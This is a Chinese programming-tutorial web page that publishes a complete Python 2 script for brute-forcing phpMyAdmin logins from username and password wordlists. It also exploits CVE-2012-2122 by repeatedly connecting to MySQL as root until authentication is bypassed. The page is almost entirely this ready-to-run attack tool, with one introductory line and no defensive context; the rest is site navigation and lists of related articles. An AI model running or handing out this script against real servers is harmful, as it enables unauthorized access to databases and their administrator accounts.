• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • vbs
  • DOS/BAT
  • hta/htc
  • python
  • perl
  • VBA
  • ColdFusion
  • ruby
  • PowerShell
  • Lua
  • Golang
  • linux shell
您的位置:首页 > 脚本语言 >python > Python写的PHPMyAdmin暴力破解工具代码

Python写的PHPMyAdmin暴力破解工具代码

作者:junjie 字体:[增加 减小] 来源:互联网

junjie 通过本文主要向大家介绍了phpmyadmin暴力破解,phpmyadmin批量破解,phpmyadmin密码破解,phpmyadmin破解,phpmyadmin等相关知识,希望对您有所帮助,也希望大家支持linkedu.com www.linkedu.com

PHPMyAdmin暴力破解,加上CVE-2012-2122 MySQL Authentication Bypass Vulnerability漏洞利用。

#!/usr/bin/env python
import urllib 
import urllib2 
import cookielib 
import sys
import subprocess
def Crack(url,username,password):
	opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.LWPCookieJar())) 
	headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64)'}
	params = urllib.urlencode({'pma_username': username, 'pma_password': password})
	request = urllib2.Request(url+"/index.php", params,headers)
	response = opener.open(request) 
	a=response.read() 
	if a.find('Database server')!=-1 and a.find('name="login_form"')==-1:
		return username,password
	return 0
def MySQLAuthenticationBypassCheck(host,port):
	i=0
	while i<300:
		i=i+1
		subprocess.Popen("mysql --host=%s -P %s -uroot -piswin" % (host,port),shell=True).wait()
if __name__ == '__main__':
	if len(sys.argv)<4:
		print "#author:iswin\n#useage python pma.py http://www.jb51.net/phpmyadmin/ username.txt password.txt"
		sys.exit()
	print "Bruting,Pleas wait..."
	for name in open(sys.argv[2],"r"):
		for passw in open(sys.argv[3],"r"):
			state=Crack(sys.argv[1],name,passw)
			if state!=0:
				print "\nBrute successful"
				print "UserName: "+state[0]+"PassWord: "+state[1]
				sys.exit()
	print "Sorry,Brute failed...,try to use MySQLAuthenticationBypassCheck"
	choice=raw_input('Warning:This function needs mysql environment.\nY:Try to MySQLAuthenticationBypassCheck\nOthers:Exit\n')
	if choice=='Y' or choice=='y':
		host=raw_input('Host:')
		port=raw_input('Port:')
		MySQLAuthenticationBypassCheck(host,port)
</div>

</div>

您可能想查找下面的文章:

  • Python写的PHPMyAdmin暴力破解工具代码

相关文章

  • python根据出生年份简单计算生肖的方法
  • Python 过滤字符串的技巧,map与itertools.imap
  • Python2.x版本中基本的中文编码问题解决
  • Python入门篇之函数
  • python 根据pid杀死相应进程的方法
  • python中执行shell的两种方法总结
  • Python获取电脑硬件信息及状态的实现方法
  • python网络爬虫采集联想词示例
  • python实现的jpg格式图片修复代码
  • NumPy排序的实现

文章分类

  • vbs
  • DOS/BAT
  • hta/htc
  • python
  • perl
  • VBA
  • ColdFusion
  • ruby
  • PowerShell
  • Lua
  • Golang
  • linux shell

最近更新的内容

    • Python显示进度条的方法
    • 通过源码分析Python中的切片赋值
    • python同时给两个收件人发送邮件的方法
    • python遍历目录的方法小结
    • Python常用列表数据结构小结
    • 从零学python系列之教你如何根据图片生成字符画
    • 使用python遍历指定城市的一周气温
    • Python模块包中__init__.py文件功能分析
    • Django中对数据查询结果进行排序的方法
    • python抓取京东商城手机列表url实例代码

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有